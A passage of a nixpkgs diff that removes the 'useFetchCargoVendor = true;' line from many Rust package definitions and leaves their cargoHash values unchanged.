     doCheck = false;
@@ -32,7 +32,7 @@ in
     version = "0.1.0";
     src = rootSrc;
     sourceRoot = "${src.name}/src/database/manager/parser/sdf/sdf_parse";
-    useFetchCargoVendor = true;
+
     cargoHash = "sha256-PORA/9DDIax4lOn/pzmi7Y8mCCBUphMTzbBsb64sDl0=";
 
     nativeBuildInputs = [ rustPlatform.bindgenHook ];
@@ -42,7 +42,7 @@ in
     version = "0.2.4";
     src = rootSrc;
     sourceRoot = "${src.name}/src/database/manager/parser/spef/spef-parser";
-    useFetchCargoVendor = true;
+
     cargoHash = "sha256-Qr/oXTqn2gaxyAyLsRjaXNniNzIYVzPGefXTdkULmYk=";
 
     nativeBuildInputs = [ rustPlatform.bindgenHook ];
@@ -52,7 +52,7 @@ in
     version = "0.1.0";
     src = rootSrc;
     sourceRoot = "${src.name}/src/database/manager/parser/vcd/vcd_parser";
-    useFetchCargoVendor = true;
+
     cargoHash = "sha256-xcfVzDrnW4w3fU7qo6xzSQeIH8sEbEyzPF92F5tDcAk=";
 
     doCheck = false;
@@ -64,7 +64,7 @@ in
     version = "0.1.0";
     src = rootSrc;
     sourceRoot = "${src.name}/src/database/manager/parser/verilog/verilog-rust/verilog-parser";
-    useFetchCargoVendor = true;
+
     cargoHash = "sha256-ooxY8Q8bfD+klBGfpTDD3YyWptEOGGHDoyamhjlSNTM=";
 
     doCheck = false;
diff --git a/pkgs/by-name/if/ifwifi/package.nix b/pkgs/by-name/if/ifwifi/package.nix
index 83f3a240e3f1..d1e9d38b723e 100644
--- a/pkgs/by-name/if/ifwifi/package.nix
+++ b/pkgs/by-name/if/ifwifi/package.nix
@@ -19,7 +19,6 @@ rustPlatform.buildRustPackage rec {
     sha256 = "sha256-DPMCwyKqGJrav0wASBky9bS1bvJ3xaGsDzsk1bKaH1U=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-oxuOc9FSKYq6UjimZPLayJ+5xsWzh3gZV/mVpPbPWHk=";
 
   nativeBuildInputs = [ makeWrapper ];
diff --git a/pkgs/by-name/ig/igrep/package.nix b/pkgs/by-name/ig/igrep/package.nix
index fd36e112b38b..fff975a810eb 100644
--- a/pkgs/by-name/ig/igrep/package.nix
+++ b/pkgs/by-name/ig/igrep/package.nix
@@ -17,7 +17,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-ZZhzBGLpzd9+rok+S/ypKpWXVzXaA1CnviC7LfgP/CU=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-NZN9pB9McZkTlpGgAbxi8bwn+aRiPMymGmBLYBc6bmw=";
 
   passthru.tests = {
diff --git a/pkgs/by-name/ik/ikill/package.nix b/pkgs/by-name/ik/ikill/package.nix
index 5399dce37303..c8cecdd9c85d 100644
--- a/pkgs/by-name/ik/ikill/package.nix
+++ b/pkgs/by-name/ik/ikill/package.nix
@@ -15,7 +15,6 @@ rustPlatform.buildRustPackage rec {
     sha256 = "sha256-hOQBBwxkVnTkAZJi84qArwAo54fMC0zS+IeYMV04kUs=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-Xbl9cQKWxtwNQqWW41mQrVAsvMLUkTb0irDLD/XstMI=";
 
   meta = with lib; {
diff --git a/pkgs/by-name/im/image-roll/package.nix b/pkgs/by-name/im/image-roll/package.nix
index 8698289f3fef..546da2aa0f18 100644
--- a/pkgs/by-name/im/image-roll/package.nix
+++ b/pkgs/by-name/im/image-roll/package.nix
@@ -19,7 +19,6 @@ rustPlatform.buildRustPackage rec {
     sha256 = "sha256-CC40TU38bJFnbJl2EHqeB9RBvbVUrBmRdZVS2GxqGu4=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-oKJknLKkoutPU85gbgi+369fczLghDuvT+t7R0nHwOI=";
 
   nativeBuildInputs = [
diff --git a/pkgs/by-name/im/impala/package.nix b/pkgs/by-name/im/impala/package.nix
index e18039349a03..232ab75fbe0c 100644
--- a/pkgs/by-name/im/impala/package.nix
+++ b/pkgs/by-name/im/impala/package.nix
@@ -14,7 +14,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-NPNzvqnuYXrHCOLN0kZwtzPiKVdl6UFnb/S/XtG+sEY=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-TILQKCBq6oji9u78sfEzoqYhKmtah5Q5x0JOVMNqzTk=";
 
   meta = {
diff --git a/pkgs/by-name/in/inferno/package.nix b/pkgs/by-name/in/inferno/package.nix
index 27bc9f6a4419..8324f6a771ea 100644
--- a/pkgs/by-name/in/inferno/package.nix
+++ b/pkgs/by-name/in/inferno/package.nix
@@ -16,7 +16,6 @@ rustPlatform.buildRustPackage rec {
     fetchSubmodules = true;
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-xtWNIbWvYSSuvmq+IYADnpnBHuVeXBolRqc9JrIoiis=";
 
   # skip flaky tests
diff --git a/pkgs/by-name/in/influxdb3/package.nix b/pkgs/by-name/in/influxdb3/package.nix
index a3d5f9f7eabc..454c968c49d8 100644
--- a/pkgs/by-name/in/influxdb3/package.nix
+++ b/pkgs/by-name/in/influxdb3/package.nix
@@ -19,7 +19,6 @@ rustPlatform.buildRustPackage {
     hash = "sha256-tHnLD5W3KQ1cILRHNmXAi4lvQQSBVUPxYCXmXLMLwIs=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-KnmaIbK/2tRXjCpOLHcadIX8Od7lVDOwZ+FgE+yFE+Q=";
 
   nativeBuildInputs = [
diff --git a/pkgs/by-name/in/inherd-quake/package.nix b/pkgs/by-name/in/inherd-quake/package.nix
index a9b41c42c5c3..6a85c3631858 100644
--- a/pkgs/by-name/in/inherd-quake/package.nix
+++ b/pkgs/by-name/in/inherd-quake/package.nix
@@ -17,7 +17,6 @@ rustPlatform.buildRustPackage rec {
     sha256 = "sha256-HKAR4LJm0lrQgTOCqtYIRFbO3qHtPbr4Fpx2ek1oJ4Q=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-klxigm3RpTfwbENva2WmOPaiJEV2yujY323xRkAML0I=";
 
   nativeBuildInputs = [ pkg-config ];
diff --git a/pkgs/by-name/in/inhibridge/package.nix b/pkgs/by-name/in/inhibridge/package.nix
index bc38f63fa349..31e4e4b932f9 100644
--- a/pkgs/by-name/in/inhibridge/package.nix
+++ b/pkgs/by-name/in/inhibridge/package.nix
@@ -15,7 +15,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-cKVw3Gd4Ml8BeXjZqTN6ToeRzO9PI+Sn45gpltlRuWM=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-bW0+oZJO4JFgDuLl5f7iVorSyN/ro+BRSTX0j15Oqb4=";
 
   meta = with lib; {
diff --git a/pkgs/by-name/in/inko/package.nix b/pkgs/by-name/in/inko/package.nix
index 3f4ce544f627..06b9dac40e68 100644
--- a/pkgs/by-name/in/inko/package.nix
+++ b/pkgs/by-name/in/inko/package.nix
@@ -24,7 +24,6 @@ rustPlatform.buildRustPackage (finalAttrs: {
     hash = "sha256-jVfAfR02R2RaTtzFSBoLuq/wdPaaI/eochrZaRVdmHY=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-IOMhwcZHB5jVYDM65zifxCjVHWl1EBbxNA3WVmarWcs=";
 
   buildInputs = [
diff --git a/pkgs/by-name/in/inlyne/package.nix b/pkgs/by-name/in/inlyne/package.nix
index a43fb6181971..08cad95297e0 100644
--- a/pkgs/by-name/in/inlyne/package.nix
+++ b/pkgs/by-name/in/inlyne/package.nix
@@ -24,7 +24,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-ueE1NKbCMBUBrrdsHkwZ5Yv6LD3tQL3ZAk2O4xoYOcw=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-jSUqpryUgOL0qo0gbbH4s24krrPsLOSNc6FQUEUeeUQ=";
 
   nativeBuildInputs = [
diff --git a/pkgs/by-name/in/innernet/package.nix b/pkgs/by-name/in/innernet/package.nix
index 8582b87077b2..4e166136bc3e 100644
--- a/pkgs/by-name/in/innernet/package.nix
+++ b/pkgs/by-name/in/innernet/package.nix
@@ -21,7 +21,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-dFMAzLvPO5xAfJqUXdiLf13uh5H5ay+CI9aop7Fhprk=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-gTFvxmnh+d1pNqG0sEHFpl0m9KKCQ78sai//iiJ0aGs=";
 
   nativeBuildInputs = [
diff --git a/pkgs/by-name/in/inori/package.nix b/pkgs/by-name/in/inori/package.nix
index 27555ee4d410..24f74597b002 100644
--- a/pkgs/by-name/in/inori/package.nix
+++ b/pkgs/by-name/in/inori/package.nix
@@ -16,7 +16,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-w+UsG4CHdug6TITJLjhHsQeAhHenzDFnZLICDT0Z1UM=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-AvYNeWyitoi9hDqiy5hl/VM4LO8J2xmLgl0y8P4xYNA=";
 
   passthru.updateScript = nix-update-script { };
diff --git a/pkgs/by-name/in/inputmodule-control/package.nix b/pkgs/by-name/in/inputmodule-control/package.nix
index 0133a868ad8b..8d165127325c 100644
--- a/pkgs/by-name/in/inputmodule-control/package.nix
+++ b/pkgs/by-name/in/inputmodule-control/package.nix
@@ -20,7 +20,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-5sqTkaGqmKDDH7byDZ84rzB3FTu9AKsWxA6EIvUrLCU=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-s5k23p0Fo+DQvGpDvy/VmGNFK7ZysqLIyDPuUn6n724=";
 
   buildAndTestSubdir = "inputmodule-control";
diff --git a/pkgs/by-name/in/inputplug/package.nix b/pkgs/by-name/in/inputplug/package.nix
index 89aea6027517..62aa4743024e 100644
--- a/pkgs/by-name/in/inputplug/package.nix
+++ b/pkgs/by-name/in/inputplug/package.nix
@@ -24,7 +24,6 @@ rustPlatform.buildRustPackage rec {
 
   buildInputs = [ libbsd ];
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-+GbbCAdEkxhyQoe8g4me2jlsuHx4R5vibd2PQLmqNM4=";
 
   postInstall = ''
diff --git a/pkgs/by-name/in/inputplumber/package.nix b/pkgs/by-name/in/inputplumber/package.nix
index 26316a1e26f7..dc924c4b6214 100644
--- a/pkgs/by-name/in/inputplumber/package.nix
+++ b/pkgs/by-name/in/inputplumber/package.nix
@@ -19,7 +19,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-OSrnvIj4/XZVNqLx+UaE2pm7YHdW2nwad8tHB7T2BlM=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-XpgDz6JzU/sxrAHVXyrubmtmMineWrW82Txjam+MgQA=";
 
   nativeBuildInputs = [
diff --git a/pkgs/by-name/in/integrity-scrub/package.nix b/pkgs/by-name/in/integrity-scrub/package.nix
index 3df0878be2c9..83257185c2ed 100644
--- a/pkgs/by-name/in/integrity-scrub/package.nix
+++ b/pkgs/by-name/in/integrity-scrub/package.nix
@@ -17,7 +17,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-oWS6HxdZ8tGeIRGpfHHkNhNdepBjhhdgTjKmxElNPbk=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-3LC3eZNmHG6OFIvQzmvs4BCSX0CVpwaYhZM2H2YoY4M=";
 
   nativeInstallCheckInputs = [ versionCheckHook ];
diff --git a/pkgs/by-name/in/intelli-shell/package.nix b/pkgs/by-name/in/intelli-shell/package.nix
index 79cf30615328..f9530bfe41e6 100644
--- a/pkgs/by-name/in/intelli-shell/package.nix
+++ b/pkgs/by-name/in/intelli-shell/package.nix
@@ -20,7 +20,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-D7hB1vKi54L7hU3TqTvzxXIr6XohfYLUTidR6wFJmfo=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-vzmUmznY5uqPhaTzfT0KR+k2nvPmB0Jm9/N4lgzEe2E=";
 
   nativeBuildInputs = [
diff --git a/pkgs/by-name/in/intentrace/package.nix b/pkgs/by-name/in/intentrace/package.nix
index 7584a1f59456..4cc8aab5170a 100644
--- a/pkgs/by-name/in/intentrace/package.nix
+++ b/pkgs/by-name/in/intentrace/package.nix
@@ -18,7 +18,6 @@ rustPlatform.buildRustPackage {
     hash = "sha256-24w5EQ3LQ7OxuVaqoLlUrYi2TmSLAfWGLNrkPcxMQMM=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-pLGWXwpgTh/7SaDhs63jr+5Fpsiep1tfl9VlCEBrK1s=";
 
   meta = {
diff --git a/pkgs/by-name/in/intermodal/package.nix b/pkgs/by-name/in/intermodal/package.nix
index 6bea24f23585..9d540d1bf43b 100644
--- a/pkgs/by-name/in/intermodal/package.nix
+++ b/pkgs/by-name/in/intermodal/package.nix
@@ -17,7 +17,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-N3TumAwHcHDuVyY4t6FPNOO28D7xX5jheCTodfn71/Q=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-NqbsDi47AhYw4hNcoWfXNUnc7WjC1en7mbyCJvhYdR4=";
 
   # include_hidden test tries to use `chflags` on darwin
diff --git a/pkgs/by-name/io/ion/package.nix b/pkgs/by-name/io/ion/package.nix
index 3261f073c53e..92b1e2548c11 100644
--- a/pkgs/by-name/io/ion/package.nix
+++ b/pkgs/by-name/io/ion/package.nix
@@ -16,7 +16,6 @@ rustPlatform.buildRustPackage {
     hash = "sha256-jiJ5XW7S6/pVEOPYJKurolLI3UrOyuaEP/cqm1a0rIU=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-Gqa2aA8jr6SZexa6EejYHv/aEYcm51qvEJSUm4m1AVc=";
 
   patches = [
diff --git a/pkgs/by-name/ip/iperf3d/package.nix b/pkgs/by-name/ip/iperf3d/package.nix
index 2ef07515f94f..d33ec9cefbf2 100644
--- a/pkgs/by-name/ip/iperf3d/package.nix
+++ b/pkgs/by-name/ip/iperf3d/package.nix
@@ -23,7 +23,6 @@ rustPlatform.buildRustPackage rec {
     wrapProgram $out/bin/iperf3d --prefix PATH : ${iperf3}/bin
   '';
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-eijsPyoe3/+yR5kRmzk0dH62gTAFFURTVT8wN6Iy0HI=";
 
   meta = with lib; {
diff --git a/pkgs/by-name/ir/iro/package.nix b/pkgs/by-name/ir/iro/package.nix
index a800a05b1f76..72ec6d88adbf 100644
--- a/pkgs/by-name/ir/iro/package.nix
+++ b/pkgs/by-name/ir/iro/package.nix
@@ -15,7 +15,6 @@ rustPlatform.buildRustPackage {
     hash = "sha256-hGGrEGG1LyzfUCEnV7ahhRO0GrLk28xDWZEFqUHk1rE=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-7QAhgUI6Pu0iqE6JyfYI4x3O/XTDb8B1Sy3hw9EVMYo=";
 
   meta = {
diff --git a/pkgs/by-name/ir/iroh/package.nix b/pkgs/by-name/ir/iroh/package.nix
index 8906373f993c..a4196c6aa7a1 100644
--- a/pkgs/by-name/ir/iroh/package.nix
+++ b/pkgs/by-name/ir/iroh/package.nix
@@ -15,7 +15,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-kOqmkuKOP2dWrUVaGwHckWjaFVZkSoXqqUgn+2KaWkc=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-O/j+/sRyMtqd4GaER2trn9SEFpZuSlc5q1MTXU+rwLg=";
 
   # Some tests require network access which is not available in nix build sandbox.
diff --git a/pkgs/by-name/ir/ironbar/package.nix b/pkgs/by-name/ir/ironbar/package.nix
index 45002f90850a..37b7b9d80d70 100644
--- a/pkgs/by-name/ir/ironbar/package.nix
+++ b/pkgs/by-name/ir/ironbar/package.nix
@@ -39,7 +39,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-UtBO1XaghmzKv9qfhfoLi4ke+mf+Mtgh4f4UpCeEVDg=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-l+Y/ntuqaasDL0cEHSwscFxAs1jC0bm9oTU0J/K60AY=";
 
   buildInputs = [
diff --git a/pkgs/by-name/ir/irust/package.nix b/pkgs/by-name/ir/irust/package.nix
index 11e764c78986..d1f968d9301f 100644
--- a/pkgs/by-name/ir/irust/package.nix
+++ b/pkgs/by-name/ir/irust/package.nix
@@ -30,7 +30,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-oBHqyOqUNXO5c3TYFp84fDKA+R8ZmrgFCQswu7yXkGw=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-YRptwZm00Px+3S+QFZAZxg25ObwmRdbgonzbMnBBb50=";
 
   nativeBuildInputs = [ makeWrapper ];
diff --git a/pkgs/by-name/is/is-fast/package.nix b/pkgs/by-name/is/is-fast/package.nix
index c1cad113e46c..d59f0ef28ad6 100644
--- a/pkgs/by-name/is/is-fast/package.nix
+++ b/pkgs/by-name/is/is-fast/package.nix
@@ -20,7 +20,6 @@ rustPlatform.buildRustPackage (finalAttrs: {
     hash = "sha256-Wzpd8yA3IpCN3sye1Fk3CUkCihEP6trqPI+oskULS7c=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-+v1cxH1NKF1tjyc7Bqpd77q6Le8CqvtQ5p0H2ICqc1I=";
 
   nativeBuildInputs = [ pkg-config ];
diff --git a/pkgs/by-name/iv/ivm/package.nix b/pkgs/by-name/iv/ivm/package.nix
index cf6312c0585e..0a42661f2838 100644
--- a/pkgs/by-name/iv/ivm/package.nix
+++ b/pkgs/by-name/iv/ivm/package.nix
@@ -24,7 +24,6 @@ rustPlatform.buildRustPackage (finalAttr: {
     hash = "sha256-pqqUvHK6mPrK1Mir2ILANxtih9OrAKDJPE0nRWc5JOY=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-voUucoSLsKn0QhCpr52U8x9K4ykkx7iQ3SsHfjrXu+Q=";
 
   buildInputs = [
diff --git a/pkgs/by-name/iv/ivyterm/package.nix b/pkgs/by-name/iv/ivyterm/package.nix
index c420e3aa3d5d..052fb4748a61 100644
--- a/pkgs/by-name/iv/ivyterm/package.nix
+++ b/pkgs/by-name/iv/ivyterm/package.nix
@@ -21,7 +21,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-Xr4oXg+kZPDImY7BlKUHwgi5AtCArH1vf3+s117luTQ=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-aBo+IAM+tAzUazw9XE80EACWyQtDIQjm33Q20p49L5s=";
 
   nativeBuildInputs = [
diff --git a/pkgs/by-name/iw/iwe/package.nix b/pkgs/by-name/iw/iwe/package.nix
index bffacfd5d887..da5274c847b4 100644
--- a/pkgs/by-name/iw/iwe/package.nix
+++ b/pkgs/by-name/iw/iwe/package.nix
@@ -16,7 +16,6 @@ rustPlatform.buildRustPackage (finalAttrs: {
     hash = "sha256-KIhBzPFEPayihDPGy9Zlb59Nf5oOiySKCIS0OClqZnU=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-mADJKDRTixToyol9KEtYWsOy/P70itLAtjh3UbqUz9E=";
 
   cargoBuildFlags = [
diff --git a/pkgs/by-name/iw/iwqr/package.nix b/pkgs/by-name/iw/iwqr/package.nix
index 1e35aee9e8ff..d7f26304fdcc 100644
--- a/pkgs/by-name/iw/iwqr/package.nix
+++ b/pkgs/by-name/iw/iwqr/package.nix
@@ -19,7 +19,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-z9CjCJvi6MlZGghZKx13gGSKwUnECAf0cr9P2ABskh0=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-wnthAp/oV6W7G/a5JXYwzni+qGzDiVefIjRamkJ5jQc=";
 
   passthru = {
diff --git a/pkgs/by-name/ja/jaq/package.nix b/pkgs/by-name/ja/jaq/package.nix
index 3bbf58338bc9..35e9e71d586c 100644
--- a/pkgs/by-name/ja/jaq/package.nix
+++ b/pkgs/by-name/ja/jaq/package.nix
@@ -17,7 +17,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-mVC2aggfcEpCtriuz/s4JL8mYkrlyAQLnaN5vyfcW3s=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-ZZLp3Vwq013MPxKy9gTZ1yMi2O0QcDPgFw5YnrYt90I=";
 
   nativeInstallCheckInputs = [
diff --git a/pkgs/by-name/ja/jay/package.nix b/pkgs/by-name/ja/jay/package.nix
index e40d01930184..788672c464bc 100644
--- a/pkgs/by-name/ja/jay/package.nix
+++ b/pkgs/by-name/ja/jay/package.nix
@@ -26,7 +26,6 @@ rustPlatform.buildRustPackage rec {
     sha256 = "sha256-dUp3QYno2rB3wuJmSvBpCqowSpfMQIJqUYc0lDVqVPA=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-ovQxpUrRZAP1lHlsObfbIsgIjgMp+BLf6Ul+mzDVN5o=";
 
   SHADERC_LIB_DIR = "${lib.getLib shaderc}/lib";
diff --git a/pkgs/by-name/je/jellyfin-rpc/package.nix b/pkgs/by-name/je/jellyfin-rpc/package.nix
index 4fba1646cc11..19df8dae91fa 100644
--- a/pkgs/by-name/je/jellyfin-rpc/package.nix
+++ b/pkgs/by-name/je/jellyfin-rpc/package.nix
@@ -17,7 +17,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-zKqP6Wt38ckqCPDS1oncmx92lZJm2oeb3bfpwVc6fUc=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-k9dGz+1HGcQoDMyqmJ1hEYklfYHibo1PI5jHEe0mr+w=";
 
   # TODO: Re-enable when upstream bumps the version number internally
diff --git a/pkgs/by-name/je/jellyfin-tui/package.nix b/pkgs/by-name/je/jellyfin-tui/package.nix
index 6770cebaff7c..a7ebe0e74c1c 100644
--- a/pkgs/by-name/je/jellyfin-tui/package.nix
+++ b/pkgs/by-name/je/jellyfin-tui/package.nix
@@ -20,7 +20,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-zTvycwmVTUK7qP9PacHeREhVk0UJ4fos0Z2OGdWI0Mg=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-nBtz05c4W5qIiOPfQ+PGy0LVvvXXCFmdfjk2VjBMvnE=";
 
   nativeBuildInputs = [ pkg-config ];
diff --git a/pkgs/by-name/je/jen/package.nix b/pkgs/by-name/je/jen/package.nix
index aac9207c2697..da38e57939ed 100644
--- a/pkgs/by-name/je/jen/package.nix
+++ b/pkgs/by-name/je/jen/package.nix
@@ -22,7 +22,6 @@ rustPlatform.buildRustPackage rec {
     })
   ];
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-qYEnKFC1Y24TEY0dXa9N7QNvxhHULq+vd4Wej/RK8HQ=";
 
   meta = with lib; {
diff --git a/pkgs/by-name/jf/jf/package.nix b/pkgs/by-name/jf/jf/package.nix
index 067d548d06f6..83ebcb125cb9 100644
--- a/pkgs/by-name/jf/jf/package.nix
+++ b/pkgs/by-name/jf/jf/package.nix
@@ -16,7 +16,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-A29OvGdG6PyeKMf5RarEOrfnNSmXhXri0AlECHWep6M=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-NU5D7VMQtlOFzr+LqODvDzVw56wFClcBxKo1h8zfgfY=";
 
   nativeBuildInputs = [ installShellFiles ];
diff --git a/pkgs/by-name/jf/jfmt/package.nix b/pkgs/by-name/jf/jfmt/package.nix
index e440594a62cb..ceef0d83e14c 100644
--- a/pkgs/by-name/jf/jfmt/package.nix
+++ b/pkgs/by-name/jf/jfmt/package.nix
@@ -15,7 +15,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-X3wk669G07BTPAT5xGbAfIu2Qk90aaJIi1CLmOnSG80=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-skLK+jYeR0FPxD1fVswiOWyKpzu5/qL5mk69bLEmxic=";
 
   meta = with lib; {
diff --git a/pkgs/by-name/ji/jikken/package.nix b/pkgs/by-name/ji/jikken/package.nix
index 414fdbf372a0..5c8c0723d45a 100644
--- a/pkgs/by-name/ji/jikken/package.nix
+++ b/pkgs/by-name/ji/jikken/package.nix
@@ -19,7 +19,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-8A9b9Ms/unv+qQRd5jiTV/6SJa6ZYLsE0fK97ohacPI=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-nwFTKol5phXFuDzAcnPoFq8UrrqMDE6NuitpXE5qJwU=";
 
   nativeBuildInputs = [ pkg-config ];
diff --git a/pkgs/by-name/ji/jinja-lsp/package.nix b/pkgs/by-name/ji/jinja-lsp/package.nix
index a89f08013e2b..9ef8bf1a5ab4 100644
--- a/pkgs/by-name/ji/jinja-lsp/package.nix
+++ b/pkgs/by-name/ji/jinja-lsp/package.nix
@@ -14,7 +14,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-/4A9IiSeskRKblcZIpsMgZsqYE6eBSeyHPpO/owCGD8=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-14zMp2Z2GG4IC2DWzbzv07GAph4q6pHFJTyy67jisXg=";
 
   cargoBuildFlags = [
diff --git a/pkgs/by-name/jl/jless/package.nix b/pkgs/by-name/jl/jless/package.nix
index 8667d7762f6c..fbae8fff4aac 100644
--- a/pkgs/by-name/jl/jless/package.nix
+++ b/pkgs/by-name/jl/jless/package.nix
@@ -18,7 +18,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-76oFPUWROX389U8DeMjle/GkdItu+0eYxZkt1c6l0V4=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-moXZcPGh0+KyyeUMjH7/+hvF86Penk2o2DQWj4BEzt8=";
 
   nativeBuildInputs = lib.optionals stdenv.hostPlatform.isLinux [ python3 ];
diff --git a/pkgs/by-name/jn/jnv/package.nix b/pkgs/by-name/jn/jnv/package.nix
index 819bbeb3abd5..57c32234006a 100644
--- a/pkgs/by-name/jn/jnv/package.nix
+++ b/pkgs/by-name/jn/jnv/package.nix
@@ -17,7 +17,6 @@ rustPlatform.buildRustPackage (finalAttrs: {
     hash = "sha256-HKZ+hF5Y7vTA4EODSAd9xYJHaipv5YukTl470ejPLtM=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-VLVoURqmUhhekNZ0a75bwjvSiLfaQ79IlltbmWVyBrI=";
 
   nativeInstallCheckInputs = [ versionCheckHook ];
diff --git a/pkgs/by-name/jo/job-security/package.nix b/pkgs/by-name/jo/job-security/package.nix
index 7c9896445a42..36cd44bf7f44 100644
--- a/pkgs/by-name/jo/job-security/package.nix
+++ b/pkgs/by-name/jo/job-security/package.nix
@@ -16,7 +16,6 @@ rustPlatform.buildRustPackage {
     hash = "sha256-KPnLVKz10SuVcG0CCFWxWnjhf9gHHPCRZw6AW9/gAmk=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-g+n0C8tkEuixbRo48cMOYPXcYt+Ur1TP6fFTYlI4fVg=";
 
   meta = {
diff --git a/pkgs/by-name/jo/josh/package.nix b/pkgs/by-name/jo/josh/package.nix
index a2544073b83c..0a47b643cb7f 100644
--- a/pkgs/by-name/jo/josh/package.nix
+++ b/pkgs/by-name/jo/josh/package.nix
@@ -30,7 +30,6 @@ rustPlatform.buildRustPackage {
     hash = "sha256-6rfNEWNeC0T/OXhCReaV5npcJjQoH6XhsZzHXGnnxOo=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-Kb0EKWae1sldDg+F3ccoztI3zbQ/BJjy+4ojnqiqKA4=";
 
   nativeBuildInputs = [
diff --git a/pkgs/by-name/jo/joshuto/package.nix b/pkgs/by-name/jo/joshuto/package.nix
index 72e1c48a3d94..dd7d49c5e5f0 100644
--- a/pkgs/by-name/jo/joshuto/package.nix
+++ b/pkgs/by-name/jo/joshuto/package.nix
@@ -17,7 +17,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-T5NfPPl8bAp3pcY1A7Dm37wC3+xrtYdoGEe4QOYgwUw=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-By7vwdNocNDQAbeD6CUcp0OOlqs5oZ2WLdE4VHSh3cI=";
 
   nativeBuildInputs = [ installShellFiles ];
diff --git a/pkgs/by-name/jo/jot/package.nix b/pkgs/by-name/jo/jot/package.nix
index bb0312f0208c..24645bb8490e 100644
--- a/pkgs/by-name/jo/jot/package.nix
+++ b/pkgs/by-name/jo/jot/package.nix
@@ -15,7 +15,6 @@ rustPlatform.buildRustPackage rec {
     sha256 = "sha256-Z8szd6ArwbGiHw7SeAah0LrrzUbcQYygX7IcPUYNxvM=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-B3CkXoSShZTnT3OlVaqRBbGIaOKiqri6AuYVrUHB6NQ=";
 
   meta = with lib; {
diff --git a/pkgs/by-name/jo/jotdown/package.nix b/pkgs/by-name/jo/jotdown/package.nix
index 5cb3048f4ca4..44181fc08932 100644
--- a/pkgs/by-name/jo/jotdown/package.nix
+++ b/pkgs/by-name/jo/jotdown/package.nix
@@ -15,7 +15,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-StlF+KjQ+UrKnZMuexwDhMI0ztFLsbexubx5s8Qtzho=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-UroMKPDh0RbUu6oqjfbRkX6ZlKi5rJRVBu1apcJENyU=";
 
   meta = with lib; {
diff --git a/pkgs/by-name/jo/journaldriver/package.nix b/pkgs/by-name/jo/journaldriver/package.nix
